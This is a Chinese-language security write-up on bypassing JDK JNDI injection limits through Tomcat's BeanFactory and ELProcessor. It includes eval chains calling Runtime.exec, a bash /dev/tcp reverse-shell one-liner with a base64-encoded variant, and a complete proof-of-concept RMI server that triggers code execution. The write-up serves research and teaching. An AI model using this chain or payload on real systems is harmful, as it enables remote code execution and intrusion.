JNDI 高版本JDK 限制绕过
JNDI 高版本JDK 限制绕过
JNDI注入的限制以及绕过方式

RMI 方式实现的JNDI大体分为以下步骤:
-
客户端通过RMI方式获取
ReferenceWarpper_Stub,通过远程调用getReference获取Reference对象。 -
客户端通过
Reference获取ObjectFactory实现类的定义(.class)资源位置,加载并无参实例化;该步骤中,如果没有在本地Classpath找到
factory定义,则之后的网络加载过程会受到com.sun.jndi.rmi.object.trustURLCodebase与com.sun.jndi.ldap.object.trustURLCodebase属性的限制。-
JDK
5U45、6U45、7u21、8u121及其之后java.rmi.server.useCodebaseOnly默认值为"true"。 -
JDK
6u132、7u122、8u113及其之后com.sun.jndi.rmi.object.trustURLCodebase默认值为"false"。 -
JDK
6u211、7u201、8u191、11.0.1及其之后com.sun.jndi.ldap.object.trustURLCodebase默认值为"false"。
-
-
通过实例化的
ObjectFactory生成一个新的对象,并返回。
由于2、3步骤会优先加载本地ClassPath中的资源,所以如果客户端获取的 Reference 中的 ObjectFactory 在本地Class中存在,那么可以通过该工厂类代替远程工厂类,去返回包含恶意代码的类。
相关类
ObjectFactory
javax.naming.spi.ObjectFactory
用于创建客户端要获取的对象,其中包含客户端寻找远程对象的 name、 Context 与 enviroment
public interface ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception;
}
obj:ReferenceWrapper_Stub获取的Reference实例;name:绑定的name;enviroment:传入InitialContext的mapContext:InitialContext 调用的Context。比如RMI方式下,就是com.sun.jndi.rmi.registry.RegistryContext;
其实可以发现 obj 与 name 都是JNDI服务器可控的。
Reference
javax.naming.Reference
构造方法参数依次为:className、addr、factory、factoryLocation:

StringRefAddr
javax.naming.StringRefAddr
继承于 RefAddr 并重写了 getContent

BeanFactory
org.apache.naming.factory.BeanFactory
该类为 javax.naming.spi.ObjectFactory 的实现类,存在于 Tomcat 的依赖中,例如:tomcat-embed-core。
目标类加载
org.apache.naming.ResourceRef 继承于 Reference:

该实现方法首先判断 obj 是不是一个 org.apache.naming.ResourceRef,如果是,将其转换为 Reference 类型,并获取要生成的类名,并尝试加载类,即 Reference 包含的 className。

方法名解析
之后就是通过反射无参构造目标类的实例。并检测目标类的字段,getter/setter 并为实例字段赋值。
得到从 Reference 中获取 addrType 为 forceString 的 RefAddr ,并从 getContent 中获取以 , 分割的赋值表达式,作为 param,形式为 attr=method。之后通过 = 进行分割:
-
如果包含
=,那么param就是=前面的内容,setterName就是=后面的内容; -
如果没被分割,
setterName就是前面再拼接上set, 获取setter方法名称。(包括这里对第一个字母做了大写转换)
遍历完之后,将 param=>beanClass.getMethod(setterName, paramTypes) 添加进map中:

之后从 ref.getAll 获取 Reference 中所有 RefAddr,然后遍历,获取 addrType :
-
如果是
scope、auth、forceString、singleton则跳过; -
否则从之前分割的表达式中构造的map中,以
addrType(getType) 作为键,获取Method对象,并对bean(之前加载的工程类)调用:method.invoke(bean, valueArray),这个参数数组的第一个参数就是RefAddr#getContent:

总结
攻击者构造的服务端,需要将 Reference 的 factoryClass 的值设为 org.apache.naming.factory.BeanFactory,并且要找到合适的目标类,该类在目标机器上存在并且可以执行恶意代码,并将其作为 className 。
而这个 className 类要执行的方法,通过 Reference 中的 RefAddr 向量来获取:
- 其中有一个为
addrType为"forceString",getContent为要执行的方法,形式为"param=method"; - 其它的
RefAddr中的addrType要有对应的param,以及method的参数;
ELProcessor
javax.el.ELProcessor 包含于 org.apache.tomcat.embed 的 tomcat-embed-el 项目中(\(8.X\))。
该类包含 eval 方法,可以执行java语句:
例:
ELProcessor processor = new ELProcessor();
Object o = processor.eval("Class.forName(\"java.lang.Runtime\")");
System.out.println(o);
class java.lang.Runtime

因此可以通过 eval 方法执行以下调用链,执行恶意代码:
Class
.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(null)
.exec(new String[]{yourCmd, args})
具体就是:
ELProcessor processor = new ELProcessor();
Object o = processor.eval("Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"firefox\")");
System.out.println(o);

不能直接通过
Runtime.class的原因是class不是Runtime的静态属性,无法通过反射获取。(
类名.class只是一个java语法层面的东西)
这个要被 eval 的语句还是相当局限的比如 Runtime.getRuntime().exec("cmd") 不行,还有 exec(new String[]{"firefox"}) 的这种形式也不行(这会造成命令参数的错误解析(exec(String) 是以空格分割参数的)),抛出如下错误:

还有以下调用链:
"".getClass()
.forName("javax.script.ScriptEngineManager")
.newInstance()
.getEngineByName("JavaScript")
.eval("java.lang.Runtime.getRuntime().exec(\"firefox\")")
也会有如上缺陷,貌似是用 new 就会抛错。所以基本无法正常解析多参数命令,例如:
bash -c "bash -i >&/dev/tcp/127.0.0.1/1234 0>&1"
但是可以通过管道解决空格问题:
bash -c {echo,反弹shell的base编码}|{base64,-d}|{bash,-i}
此时的命令是这样的:
bash -c {echo,YmFzaCAtaSAxPi9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0IDI+JjEgMD4mMQ==}|{base64,-d}|{bash,-i}
然后 exec(String) 把它解析为了:
bash -c "{echo,YmFzaCAtaSAxPi9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0IDI+JjEgMD4mMQ==}|{base64,-d}|{bash,-i}"
此时就可以使用 ReversedShell 了:

虽有有点小问题,但是不得不说 ELProcessor 真的很强大啊!!!
PoC
corretton JDK 1.8.0_322
客户端包含如下依赖:
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.77</version> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-el</artifactId> <version>8.5.77</version> </dependency>
RMI服务端
因此构建如下RMI服务端:
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"firefox\")"
));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("exec",wrapper);
}
注意:
BeanObjectFactory会判断是否为ResourceRef的子类;factoryLocation(第5个构造参数) 需要为null,原因是在RegistryContext中:
当
ref不为null,ref.getFactoryClassLocation不为null,且trustURLCode为false,之后会抛出ConfigurationException。
即便没有设置 com.sun.jndi.rmi.object.trustURLCodebase 与 com.sun.jndi.ldap.object.trustURLCodebase 属性,只要客户端使用 InitialContext#lookup(schema://host:port/refName) 也可以成功执行恶意代码:

优点与局限
不会受高版本JDK的相关属性限制,不需要建立HTTP服务器,但是依赖于 Tomcat8 组件。但tomcat本身被广泛应用,且包括 springboot-web-starter 也会用到tomcat,该利用链还是有很多用处的。
参考:


浙公网安备 33010602011771号